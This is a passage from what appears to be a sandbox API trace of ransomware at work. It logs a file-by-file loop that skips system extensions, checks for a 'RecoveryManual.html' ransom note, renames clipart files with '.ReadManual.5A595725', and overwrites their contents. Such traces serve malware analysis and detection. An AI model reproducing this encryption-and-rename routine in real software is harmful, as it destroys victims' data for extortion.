(psz1="WMF", psz2="vbs") returned 1 [0271.853] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.853] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.853] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.853] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" [0271.853] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF.ReadManual.5A595725" [0271.854] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF.ReadManual.5A595725") returned 87 [0271.854] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39252232619) returned 1 [0271.854] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf")) returned 0x20 [0271.854] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.855] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16800) returned 1 [0271.855] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x41a0, lpName=0x0) returned 0x184 [0271.855] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.856] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.856] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.899] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.899] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x41a0) returned 0x2f0000 [0271.899] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.900] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39256835161) returned 1 [0271.900] CloseHandle (hObject=0x184) returned 1 [0271.900] SetSecurityInfo () returned 0x57 [0271.900] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.900] CloseHandle (hObject=0x194) returned 1 [0271.900] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3998, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE03470_.WMF", cAlternateFileName="")) returned 1 [0271.900] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE03470_.WMF" | out: lpString1="PE03470_.WMF") returned="PE03470_.WMF" [0271.900] lstrcmpiW (lpString1="PE03470_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.900] StrStrIW (lpFirst="PE03470_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.900] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.900] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.900] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.900] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.900] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.900] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.900] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.900] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.900] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.900] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.900] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.900] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.900] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.900] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.900] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" [0271.900] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF.ReadManual.5A595725" [0271.901] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF.ReadManual.5A595725") returned 87 [0271.901] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39256933983) returned 1 [0271.901] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf")) returned 0x20 [0271.901] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.902] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14744) returned 1 [0271.902] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3998, lpName=0x0) returned 0x184 [0271.902] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.903] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.903] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0272.228] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0272.228] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3998) returned 0x2f0000 [0272.229] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0272.229] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39289751682) returned 1 [0272.229] CloseHandle (hObject=0x184) returned 1 [0272.229] SetSecurityInfo () returned 0x57 [0272.229] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0272.229] CloseHandle (hObject=0x194) returned 1 [0272.229] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3716500, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3716500, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE03513_.WMF", cAlternateFileName="")) returned 1 [0272.229] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE03513_.WMF" | out: lpString1="PE03513_.WMF") returned="PE03513_.WMF" [0272.229] lstrcmpiW (lpString1="PE03513_.WMF", lpString2="RecoveryManual.html") returned -1 [0272.229] StrStrIW (lpFirst="PE03513_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0272.229] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0272.229] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0272.229] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0272.229] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0272.229] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0272.229] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0272.229] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0272.229] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0272.229] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0272.229] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0272.230] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0272.230] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0272.230] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0272.230] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0272.230] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" [0272.230] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF.ReadManual.5A595725" [0272.230] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF.ReadManual.5A595725") returned 87 [0272.230] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39289849660) returned 1 [0272.230] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf")) returned 0x20 [0272.273] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0272.274] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3780) returned 1 [0272.274] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xec4, lpName=0x0) returned 0x184 [0272.274] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0272.275] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.275] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0272.320] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0272.320] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xec4) returned 0x2f0000 [0272.320] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0272.320] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39298925123) returned 1 [0272.321] CloseHandle (hObject=0x184) returned 1 [0272.321] SetSecurityInfo () returned 0x57 [0272.321] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0272.321] CloseHandle (hObject=0x194) returned 1 [0272.321] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32062000, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32062000, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0x1868, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE03668_.WMF", cAlternateFileName="")) returned 1 [0272.321] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE03668_.WMF" | out: lpString1="PE03668_.WMF") returned="PE03668_.WMF" [0272.321] lstrcmpiW (lpString1="PE03668_.WMF", lpString2="RecoveryManual.html") returned -1 [0272.321] StrStrIW (lpFirst="PE03668_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0272.321] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0272.321] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0272.321] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0272.321] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0272.321] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0272.321] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0272.321] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0272.321] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0272.321] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0272.321] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0272.321] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0272.321] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0272.321] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0272.321] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0272.321] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" [0272.321] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF.ReadManual.5A595725" [0272.321] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF.ReadManual.5A595725") returned 87 [0272.321] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39299019651) returned 1 [0272.321] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf")) returned 0x20 [0272.322] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0272.322] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6248) returned 1 [0272.322] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1868, lpName=0x0) returned 0x184 [0272.322] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0272.323] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.323] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0272.366] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0272.366] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1868) returned 0x2f0000 [0272.367] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0272.367] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39303549354) returned 1 [0272.367] CloseHandle (hObject=0x184) returned 1 [0272.367] SetSecurityInfo () returned 0x57 [0272.367] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0272.367] CloseHandle (hObject=0x194) returned 1 [0272.367] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb300a00, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb300a00, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE03731_.WMF", cAlternateFileName="")) returned 1 [0272.367] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE03731_.WMF" | out: lpString1="PE03731_.WMF") returned="PE03731_.WMF" [0272.367] lstrcmpiW (lpString1="PE03731_.WMF", lpString2="RecoveryManual.html") returned -1 [0272.367] StrStrIW (lpFirst="PE03731_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0272.367] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0272.367] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0272.367] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0272.367] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0272.367] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0272.367] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0272.367] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0272.367] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0272.367] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0272.367] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0272.367] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0272.367] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0272.367] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0272.368] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0272.368] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" [0272.368] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF.ReadManual.5A595725" [0272.368] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF.ReadManual.5A595725") returned 87 [0272.368] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39303641865) returned 1 [0272.368] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf")) returned 0x20 [0272.368] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0272.368] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2556) returned 1 [0272.368] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9fc, lpName=0x0) returned 0x184 [0272.368] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0272.369] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.369] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0272.415] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0272.416] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9fc) returned 0x2f0000 [0272.416] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0272.416] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39308452497) returned 1 [0272.416] CloseHandle (hObject=0x184) returned 1 [0272.416] SetSecurityInfo () returned 0x57 [0272.416] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0272.416] CloseHandle (hObject=0x194) returned 1 [0272.416] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd176e300, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd176e300, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE03795_.WMF", cAlternateFileName="")) returned 1 [0272.416] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE03795_.WMF" | out: lpString1="PE03795_.WMF") returned="PE03795_.WMF" [0272.416] lstrcmpiW (lpString1="PE03795_.WMF", lpString2="RecoveryManual.html") returned -1 [0272.416] StrStrIW (lpFirst="PE03795_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0272.416] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0272.416] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0272.416] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0272.416] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0272.416] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0272.416] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0272.416] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0272.416] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0272.416] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0272.416] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0272.417] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0272.417] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0272.417] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0272.417] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0272.417] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" [0272.417] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF.ReadManual.5A595725" [0272.417] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF.ReadManual.5A595725") returned 87 [0272.417] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39308556578) returned 1 [0272.417] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf")) returned 0x20 [0272.417] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft 